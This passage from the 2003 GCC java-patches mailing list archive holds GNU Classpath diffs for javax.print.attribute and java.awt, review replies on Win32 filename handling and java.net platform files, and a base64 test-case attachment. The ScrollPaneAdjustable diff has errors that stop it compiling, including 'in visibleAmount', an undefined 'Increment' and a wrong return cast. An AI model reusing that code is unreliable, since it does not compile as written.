modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + +package javax.print.attribute; + +import java.io.Serializable; + +/** + * @author Michael Koch + */ +public interface Attribute extends Serializable +{ + public Class getCategory (); + + public String getName (); +} Index: javax/print/attribute/AttributeSet.java =================================================================== RCS file: javax/print/attribute/AttributeSet.java diff -N javax/print/attribute/AttributeSet.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ javax/print/attribute/AttributeSet.java 17 Mar 2003 09:12:16 -0000 @@ -0,0 +1,77 @@ +/* AttributeSet.java -- + Copyright (C) 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + +package javax.print.attribute; + +/** + * @author Michael Koch + */ +public interface AttributeSet +{ + /** + * Adds the specified attribute value to this attribute set + * if it is not already present. + */ + public boolean add (Attribute attribute); + + /** + * Adds all of the elements in the specified set to this attribute. + */ + public boolean addAll (AttributeSet attributes); + + public void clear (); + + public boolean containsKey (Class category); + + public boolean containsValue (Attribute attribute); + + public boolean equals (Object obj); + + public Attribute get (Class Category); + + public int hashCode (); + + public boolean isEmpty (); + + public boolean remove (Attribute attribute); + + public boolean remove (Class category); + + public int size (); + + public Attribute[] toArray (); +} Index: javax/print/attribute/PrintRequestAttributeSet.java =================================================================== RCS file: javax/print/attribute/PrintRequestAttributeSet.java diff -N javax/print/attribute/PrintRequestAttributeSet.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ javax/print/attribute/PrintRequestAttributeSet.java 17 Mar 2003 09:12:16 -0000 @@ -0,0 +1,55 @@ +/* PrintRequestAttributeSet.java -- + Copyright (C) 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + +package javax.print.attribute; + +/** + * @author Michael Koch + */ +public interface PrintRequestAttributeSet extends AttributeSet +{ + /** + * Adds the specified attribute value to this attribute set + * if it is not already present. + */ + public boolean add (Attribute attribute); + + /** + * Adds all of the elements in the specified set to this attribute. + */ + public boolean addAll (AttributeSet attributes); +} --Boundary-00=_VHZd+ff4bMn5ngp-- From java-patches-return-6497-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 17 09:24:04 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3037 invoked by alias); 17 Mar 2003 09:24:04 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 2841 invoked from network); 17 Mar 2003 09:24:00 -0000 Received: from unknown (HELO cuddles.cambridge.redhat.com) (81.96.64.123) by sources.redhat.com with SMTP; 17 Mar 2003 09:24:00 -0000 Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h2H9NoC13394; Mon, 17 Mar 2003 09:23:50 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15989.37926.168901.637719@cuddles.cambridge.redhat.com> Date: Mon, 17 Mar 2003 09:23:50 +0000 (GMT) To: gnustuff@thisiscool.com Cc: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Patch: jcf-io.c and Win32 case-insensitive filename handling (updated) In-Reply-To: <5MHQMVRNLA7VPWSKF54652UK1XBA9.3e7546ea@p733> References: <15984.59440.633327.515115@cuddles.cambridge.redhat.com> <5MHQMVRNLA7VPWSKF54652UK1XBA9.3e7546ea@p733> Mohan Embar writes: > Andrew, > > >Please fix the layout issues and rename the new file to win32-host.c. > > Here is an attempt at GNU-izing the source code as well as renaming > the Win32-specific file to win32-host.c. I hope I got the source file > conventions halfway right (and I'm sure you'll let me know if I > didn't ;) ). > > I tested both the cross and i686-pc-mingw32 crossed-native compiler > on i686-pc-linux-gnu. I also tested out the native compiler on > i686-pc-mingw32. Things seemed to check out okay. I guess there's a test case? Andrew. From java-patches-return-6498-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 17 09:28:58 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 25685 invoked by alias); 17 Mar 2003 09:28:57 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 25645 invoked from network); 17 Mar 2003 09:28:57 -0000 Received: from unknown (HELO cuddles.cambridge.redhat.com) (81.96.64.123) by sources.redhat.com with SMTP; 17 Mar 2003 09:28:57 -0000 Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h2H9SqR13407; Mon, 17 Mar 2003 09:28:52 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15989.38228.258836.241007@cuddles.cambridge.redhat.com> Date: Mon, 17 Mar 2003 09:28:52 +0000 (GMT) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: FYI: Patch: javax.print.attribute - new classes In-Reply-To: <200303171012.31937.konqueror@gmx.de> References: <200303171012.31937.konqueror@gmx.de> Michael Koch writes: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Hi list, > > > I commited the attached patch to trunk. It's rather small. Andrew. From java-patches-return-6499-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 17 09:40:34 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 6051 invoked by alias); 17 Mar 2003 09:40:33 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 5974 invoked from network); 17 Mar 2003 09:40:32 -0000 Received: from unknown (HELO cuddles.cambridge.redhat.com) (81.96.64.123) by sources.redhat.com with SMTP; 17 Mar 2003 09:40:32 -0000 Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h2H9eH313423; Mon, 17 Mar 2003 09:40:17 GMT From: Andrew Haley Message-ID: <15989.38906.691284.652760@cuddles.cambridge.redhat.com> Date: Mon, 17 Mar 2003 09:40:10 +0000 (GMT) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: RFC: Moving native code in java.net into architecture dependant files In-Reply-To: <200303171007.00856.konqueror@gmx.de> References: <2ZATOMLXRTPD08553C765OMLKJHB9ZY.3e73ef4f@p733> <200303161731.47699.konqueror@gmx.de> <15989.35740.612745.903389@cuddles.cambridge.redhat.com> <200303171007.00856.konqueror@gmx.de> Michael Koch writes: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Am Montag, 17. MŽärz 2003 09:47 schrieb Andrew Haley: > > > > > If not, the naming conventions seem to establish the > > > > equivalence between the eCos platform and java.net > > > > functionality being disabled. Is this confusing from a naming > > > > standpoint? What if instead of natInetAddressEcos.cc (for > > > > example), you had natInetAddressNoNet.cc and made another > > > > variable called NET_PLATFORM which factored in not only > > > > PLATFORM, but also whether enable_java_net was "no"? > > > > > > As I understood it Ecos is more used as a synomynon for a > > > non-supported architecture. At least I think I read that on the > > > lists (a comment from Tom I think). > > > > For the time being, yes. But if someone submits a patch that > > properly enables networking on eCos it'll be welcome. > > What do you think about Mohan's idea of introducing NET_PLATFORM ? It seems rather complicated. My view is that we should support different OSs by means of target-specific files and we should avoid the use of conditional compilation where possible. The main exception to this is trivial stuff like #ifdef WIN32 foo (); #endif which isn't worth factoring out. I wonder if we definitely need enable_java_net. I don't see any good reason to omit net support on a target that doesn't require such omission. Andrew. From java-patches-return-6500-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 17 12:55:43 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 17748 invoked by alias); 17 Mar 2003 12:55:42 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 17698 invoked from network); 17 Mar 2003 12:55:41 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by sources.redhat.com with SMTP; 17 Mar 2003 12:55:41 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2HCtfi32709; Mon, 17 Mar 2003 06:55:41 -0600 From: Mohan Embar To: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Date: Mon, 17 Mar 2003 06:55:48 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: <15989.37926.168901.637719@cuddles.cambridge.redhat.com> Message-Id: Subject: Re: Patch: jcf-io.c and Win32 case-insensitive filename handling (updated) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----------XHYzpjSiK8Yb3o5HKqARPx" ------------XHYzpjSiK8Yb3o5HKqARPx Content-Type: text/plain; charset="us-ascii" Hi Andrew, >I guess there's a test case? Two test cases: - the one I attached when I originally submitted my patch: http://gcc.gnu.org/ml/java-patches/2003-q1/msg00731.html - as well as Ranjit's famous Foo/Bar example: http://gcc.gnu.org/ml/java-patches/2003-q1/msg00720.html Both fail with my original 3.3 build: http://www.thisiscool.com/gcc33_mingw.htm and pass with my current one. I've reattached these here with the appropriate scripts for your convenience. (I forgot to mention that I also tested the i686-pc-linux-gnu native compiler.) -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ ------------XHYzpjSiK8Yb3o5HKqARPx Content-Disposition: attachment; filename="eXaCtcAsE.tar.gz" Content-Type: application/x-gzip Content-Transfer-Encoding: Base64 H4sIAIfFdT4AA+2aXW/TPBTHe12p38HwgAQXbR3bSaShiWeD8XIxQNskkCgX bpq1gTSuEndbheCzc5I07UZT0kHqatr5SV2axMlxc/I/xz7e0ZX09AuZ+N3G 1qBUUNe2YUup64h0a8GhbH9OA05wm3EhKJy3hO3wBrG316Ul00TLmJDGsRrJ iByN+zIubXcwGAdRkOhYahUnJnpmhKOF//vTIBx0+lLXbgO8/Uf/25ab+V+4 rm058N1yuCsahNbekxLuuf//972RIur8vJn4OlSeDJuxPyYfDs7ekJd7Pe2P J73Loeex3mUQwbbXD6Jng70ePIzhZbbzOG37uOSqzdt/OHn/+uTgp9XToyAJ Ek+psJ1eC5827/C191jpJa+yOvBDcjw78xPd8a/85tD7StrtsQyi/fFMp0fz k3DQC2WSTKQekQ5pq2sXkbxld37kq7yQTT8a5M9u1+68Nb/rPxnVb6NK/5a7 jP88/W45zHJQ/yb470EX5NFNRpmY9rsDqWXYBQnl70M3kjq48LP9INp7lDa6 tWrKFLPr343k/Kb/q20EgCr9M8oL/bsuy/K/sDD/G6FK/16skuSm/LOkylm7 ruS560dwr1nqf+6ZLdjYdP7HKbe4y1L9W9TG+Z8JVvx/TZl12UjjvyPEWv8L GOwV/qcC/M/gDbAx/ptgIr1vcljE5WetZqs5mfbDwCNZDJ+H7lbz++I4PC8N mwsVDEga/J+c6hgywucvRMbD5GnWlACnswTmZR011Z0JNNBh9OSwc3p28vbd 66dg50dqCm4aBxdS+8Vdc6MHcJMfa88eEv9Kw4wrb7fo13kQybBomfeJ5ObI Pnl4PCNZbrpU8Td/8IC8hN7P1DROnj8sOgN/du0N8yz0/0qpsx3H/3T+59hO Hv8pxn8TrPg/G/YdyrjGSmDV+J/bc/9TaovU/zAhoDj+N0JR9WvduiAHzY4h xn68Vl5rVVTkSi8pLTeKW1vOZiMvyLlS3fTtTccvrUVd7j5G9s1Yr//6CgGV 9T+LL+M/t7Lxn0D9G2Ex/29tXgBcI7Zd/xTkLyjXP+wYzP+M20X+F9ShWf6H kID6N8Ay//9z7i9N5NX5fx5L0lcOk7Zx1uvfYP6n7jL/WyKv/7iofxP8U/5f anbXPwP5S8r1/6nWCUCl/hlbrv/ZVj7/Z6h/E1Tqf3UBsHVzBRCnAXeZNfqv dQBQPf93ruk/y/+cYf43Qh36x2HA3WVF/2kwr9nGxus/lNrpP/7B6N8RLq7/ mKDU/0Uyr8lG1fo/FfP1f0GZ62TrP4xh/dcIxfo/uH118R/eg3wlfte9RLbF iv6LZF6jjUr9s4X+HZat/7vCRv0b4YbewfeodwRBEARBEARBEARBEARBEARB kLvNL90WZxIAUAAA ------------XHYzpjSiK8Yb3o5HKqARPx-- From java-patches-return-6501-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 17 12:58:55 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 29151 invoked by alias); 17 Mar 2003 12:58:54 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 29073 invoked from network); 17 Mar 2003 12:58:53 -0000 Received: from unknown (HELO cuddles.cambridge.redhat.com) (81.96.64.123) by sources.redhat.com with SMTP; 17 Mar 2003 12:58:53 -0000 Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h2HCwg313894; Mon, 17 Mar 2003 12:58:42 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15989.50818.456222.112014@cuddles.cambridge.redhat.com> Date: Mon, 17 Mar 2003 12:58:42 +0000 (GMT) To: gnustuff@thisiscool.com Cc: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: Patch: jcf-io.c and Win32 case-insensitive filename handling (updated) In-Reply-To: References: <15989.37926.168901.637719@cuddles.cambridge.redhat.com> Mohan Embar writes: > Hi Andrew, > > >I guess there's a test case? > > Two test cases: > > - the one I attached when I originally submitted my patch: Sorry. I either didn't notice or forgot... Andrew. From java-patches-return-6502-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 17 14:47:37 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 8261 invoked by alias); 17 Mar 2003 14:47:36 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 8202 invoked from network); 17 Mar 2003 14:47:35 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by sources.redhat.com with SMTP; 17 Mar 2003 14:47:35 -0000 Received: from veggie (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2HElZV15146 for ; Mon, 17 Mar 2003 08:47:35 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org Date: Mon, 17 Mar 2003 08:59:28 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: <15989.38906.691284.652760@cuddles.cambridge.redhat.com> Message-Id: Subject: Re: RFC: Moving native code in java.net into architecture dependant files MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1252" Hi Andrew, >It seems rather complicated. My view is that we should support >different OSs by means of target-specific files and we should avoid >the use of conditional compilation where possible.... By "conditional compilation", do you mean #ifdefs within source files? The solution I was proposing did not have any conditional compilation within the source files. The conditional stuff would be in configure.in, not the source files. >I wonder if we definitely need enable_java_net. I don't see any good >reason to omit net support on a target that doesn't require such >omission. I wasn't experienced enough to make this call. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6503-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 17 15:21:52 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 6678 invoked by alias); 17 Mar 2003 15:21:52 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 6606 invoked from network); 17 Mar 2003 15:21:51 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.16) by sources.redhat.com with SMTP; 17 Mar 2003 15:21:51 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-182.ewetel.net [80.228.73.182]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h2HFLnjL000098 for ; Mon, 17 Mar 2003 16:21:49 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18uwPs-0001t9-00 for ; Mon, 17 Mar 2003 16:20:44 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.awt Date: Mon, 17 Mar 2003 16:22:52 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_Mhed+tMBl8e4ocJ" Message-Id: <200303171622.52644.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_Mhed+tMBl8e4ocJ Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached fix to trunk. It will go into classpath soon. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+dehMWSOgCCdjSDsRAo6hAJ0ar1ywTiyJdJ84kFm9HWscdnoYAACfXDN4 lZkybO2EbiV7NP5bicaO4SU=3D =3Di+i2 =2D----END PGP SIGNATURE----- --Boundary-00=_Mhed+tMBl8e4ocJ Content-Type: text/x-diff; charset="iso-8859-15"; name="awt.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="awt.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1780 diff -u -r1.1780 ChangeLog --- ChangeLog 17 Mar 2003 09:13:15 -0000 1.1780 +++ ChangeLog 17 Mar 2003 14:48:30 -0000 @@ -1,3 +1,51 @@ +2003-03-17 Michael Koch + + * java/awt/Dialog.java + (Dialog): New constructor, changed implementations, added + documentation. + * java/awt/ScrollPaneAdjustable.java + (ScrollPaneAdjustable): Extends Object, implements Adjustable and + Serializable. + (serialVersionUID): New member variable. + (sp): New member variable. + (orientation): New member variable. + (value): New member variable. + (minimum): New member variable. + (maximum): New member variable. + (visibleAmount): New member variable. + (unitIncrement): New member variable. + (blockIncrement): New member variable. + (AdjustmentListener): New member variable. + (ScrollPaneAdjustable): New implementation. + (addAdjustmentListener): New method. + (removeAdjustmentListener): New method. + (getAdjustmentListeners): New method. + (getBlockIncrement): New method. + (getMaximum): New method. + (getMinimum): New method. + (getOrientation): New method. + (getUnitIncrement): New method. + (getValue): New method. + (getVisibleAmount): New method. + (setBlockIncrement): New method. + (setMaximum): Implemented. + (setMinimum): Implemented. + (setUnitIncrement): New method. + (setValue): New method. + (setVisibleAmount): Implemented. + (paramString): New stubbed method. + * java/awt/Window.java + (show): Call setVisible(). + (hide): Call setVisible(). + (processEvent): Add cases for WINDOW_GAINED_FOCUS, WINDOW_LOST_FOCUS + and WINDOW_STATE_CHANGED. + (processWindowFocusEvent): New method. + (processWindowStateEvent): New method. + (postEvent): Deprecated. + (applyResourceBundle): Deprecated. + * java/awt/datatransfer/DataFlavor.java + (DataFlavor): Doesn't thow ClassNotFoundException. + 2003-03-17 Michael Koch * javax/print/attribute/Attribute.java, Index: java/awt/Dialog.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Dialog.java,v retrieving revision 1.6 diff -u -r1.6 Dialog.java --- java/awt/Dialog.java 15 Feb 2003 09:21:54 -0000 1.6 +++ java/awt/Dialog.java 17 Mar 2003 14:48:30 -0000 @@ -153,11 +153,37 @@ * @param title The title string for this dialog box. * @param modal if this dialog box is modal, false * otherwise. + * + * @exception IllegalArgumentException If owner is null or + * GraphicsEnvironment.isHeadless() returns true. */ public Dialog(Frame parent, String title, boolean modal) { - super(parent); + this (parent, title, modal, parent.getGraphicsConfiguration ()); +} + +/** + * Initializes a new instance of Dialog with the specified, + * parent, title, modality and GraphicsConfiguration, + * that is not resizable. + * + * @param parent The parent frame of this dialog box. + * @param title The title string for this dialog box. + * @param modal if this dialog box is modal, false + * otherwise. + * @param gc The GraphicsConfiguration object to use. + * + * @exception IllegalArgumentException If owner is null, the + * GraphicsConfiguration is not a screen device or + * GraphicsEnvironment.isHeadless() returns true. + * + * @since 1.4 + */ +public +Dialog (Frame parent, String title, boolean modal, GraphicsConfiguration gc) +{ + super (parent, gc); this.title = title; this.modal = modal; @@ -166,10 +192,19 @@ setLayout(new BorderLayout()); } +/** + * Initializes a new instance of Dialog with the specified, + * parent, that is not resizable. + * + * @exception IllegalArgumentException If parent is null. This exception is + * always thrown when GraphicsEnvironment.isHeadless() returns true. + * + * @since 1.2 + */ public Dialog (Dialog owner) { - this (owner, "", false); + this (owner, "", false, owner.getGraphicsConfiguration ()); } /** @@ -184,7 +219,7 @@ public Dialog (Dialog owner, String title) { - this (owner, title, false); + this (owner, title, false, owner.getGraphicsConfiguration ()); } /** @@ -199,9 +234,29 @@ public Dialog (Dialog owner, String title, boolean modal) { - super (owner); + this (owner, title, modal, owner.getGraphicsConfiguration ()); +} + +/** + * Initializes a new instance of Dialog with the specified, + * parent, title, modality and GraphicsConfiguration, + * that is not resizable. + * + * @exception IllegalArgumentException If parent is null, the + * GraphicsConfiguration is not a screen device or + * GraphicsEnvironment.isHeadless() returns true. + * + * @since 1.4 + */ +public +Dialog (Dialog parent, String title, boolean modal, GraphicsConfiguration gc) +{ + super (parent, parent.getGraphicsConfiguration ()); + this.modal = modal; this.title = title; + resizable = false; + setLayout (new BorderLayout ()); } Index: java/awt/ScrollPaneAdjustable.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/ScrollPaneAdjustable.java,v retrieving revision 1.2 diff -u -r1.2 ScrollPaneAdjustable.java --- java/awt/ScrollPaneAdjustable.java 19 Feb 2003 11:41:16 -0000 1.2 +++ java/awt/ScrollPaneAdjustable.java 17 Mar 2003 14:48:30 -0000 @@ -38,29 +38,135 @@ package java.awt; +import java.awt.event.AdjustmentListener; +import java.io.Serializable; + /** * Need this class since the serialization spec for ScrollPane * uses it. * * @author Aaron M. Renn (arenn@urbanophile.com) + * @since 1.4 */ -class ScrollPaneAdjustable extends Scrollbar +public class ScrollPaneAdjustable + implements Adjustable, Serializable { - public ScrollPaneAdjustable (int orientation) + private static final long serialVersionUID = -3359745691033257079L; + + ScrollPane sp; + int orientation; + int value; + int minimum; + int maximum; + int visibleAmount; + int unitIncrement; + int blockIncrement; + AdjustmentListener adjustmentListener; + + ScrollPaneAdjustable (ScrollPane sp, int orientation, int value, int minimum, + int maximum, in visibleAmount, int unitIncrement, + int blockIncrement) + { + this.sp = sp; + this.orientation = orientation; + this.value = value; + this.minimum = minimum; + this.maximum = maximum; + this.visibleAmount = visibleAmount; + this.unitIncrement = Increment; + this.blockIncrement = Increment; + } + + public void addAdjustmentListener (AdjustmentListener listener) + { + AWTEventMulticaster.add (adjustmentListener, listener); + } + + public void removeAdjustmentListener (AdjustmentListener listener) + { + AWTEventMulticaster.remove (adjustmentListener, listener); + } + + public AdjustmentListener[] getAdjustmentListeners () + { + return (AdjustmentListener) AWTEventMulticaster.getListeners (AdjustmentListener.class); + } + + public int getBlockIncrement () + { + return blockIncrement; + } + + public int getMaximum () + { + return maximum; + } + + public int getMinimum () + { + return minimum; + } + + public int getOrientation () + { + return orientation; + } + + public int getUnitIncrement () + { + return unitIncrement; + } + + public int getValue () + { + return value; + } + + public int getVisibleAmount () { - super (orientation); + return visibleAmount; } + public void setBlockIncrement (int blockIncrement) + { + this.blockIncrement = blockIncrement; + } + public void setMaximum (int maximum) { + this.maximum = maximum; } public void setMinimum (int minimum) { + this.minimum = minimum; + } + + public void setUnitIncrement (int unitIncrement) + { + this.unitIncrement = unitIncrement; } + public void setValue (int value) + { + this.value = value; + + if (value < minimum) + minimum = value; + + if (value > maximum) + maximum = value; + } + public void setVisibleAmount (int visibleAmount) { + this.visibleAmount = visibleAmount; } + + public String paramString () + { + throw new Error ("not implemented"); + } + } // class ScrollPaneAdjustable Index: java/awt/Window.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Window.java,v retrieving revision 1.18 diff -u -r1.18 Window.java --- java/awt/Window.java 10 Mar 2003 13:21:37 -0000 1.18 +++ java/awt/Window.java 17 Mar 2003 14:48:31 -0000 @@ -213,14 +213,14 @@ addNotify(); validate(); - super.show(); + setVisible (true); toFront(); } public void hide() { // FIXME: call hide() on any "owned" children here. - super.hide(); + setVisible (false); } public boolean isDisplayable() @@ -526,6 +526,13 @@ case WindowEvent.WINDOW_OPENED: windowListener.windowOpened(evt); break; + case WindowEvent.WINDOW_GAINED_FOCUS: + case WindowEvent.WINDOW_LOST_FOCUS: + processWindowFocusEvent (evt); + break; + case WindowEvent.WINDOW_STATE_CHANGED: + processWindowStateEvent (evt); + break; } } } @@ -548,6 +555,8 @@ * Post a Java 1.0 event to the event queue. * * @param event The event to post. + * + * @deprecated */ public boolean postEvent(Event e) { @@ -566,13 +575,21 @@ return super.isShowing(); } - /** @since 1.2 */ + /** + * @since 1.2 + * + * @deprecated + */ public void applyResourceBundle(ResourceBundle rb) { // FIXME } - /** @since 1.2 */ + /** + * @since 1.2 + * + * @deprecated + */ public void applyResourceBundle(String rbName) { ResourceBundle rb = ResourceBundle.getBundle(rbName); @@ -597,5 +614,35 @@ if (graphicsConfiguration != null) return graphicsConfiguration; if (peer != null) return peer.getGraphicsConfiguration(); return null; + } + + protected void processWindowFocusEvent(WindowEvent event) + { + if (windowFocusListener != null) + { + switch (event.getID ()) + { + case WindowEvent.WINDOW_GAINED_FOCUS: + windowFocusListener.windowGainedFocus (event); + break; + + case WindowEvent.WINDOW_LOST_FOCUS: + windowFocusListener.windowLostFocus (event); + break; + + default: + break; + } + } + } + + /** + * @since 1.4 + */ + protected void processWindowStateEvent(WindowEvent event) + { + if (windowStateListener != null + && event.getID () == WindowEvent.WINDOW_STATE_CHANGED) + windowStateListener.windowStateChanged (event); } } Index: java/awt/datatransfer/DataFlavor.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/datatransfer/DataFlavor.java,v retrieving revision 1.8 diff -u -r1.8 DataFlavor.java --- java/awt/datatransfer/DataFlavor.java 10 Mar 2003 13:21:38 -0000 1.8 +++ java/awt/datatransfer/DataFlavor.java 17 Mar 2003 14:48:31 -0000 @@ -49,6 +49,7 @@ import java.io.UnsupportedEncodingException; import java.nio.ByteBuffer; import java.nio.CharBuffer; +import java.nio.charset.Charset; /** * This class represents a particular data format used for transferring @@ -335,9 +336,8 @@ */ public DataFlavor(String mimeType, String humanPresentableName) - throws ClassNotFoundException { - this(mimeType, humanPresentableName, null); + this (getRepresentationClassFromMime (mimeType, null), humanPresentableName); } /*************************************************************************/ --Boundary-00=_Mhed+tMBl8e4ocJ-- From java-patches-return-6504-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 17 15:21:55 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 6955 invoked by alias); 17 Mar 2003 15:21:54 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , 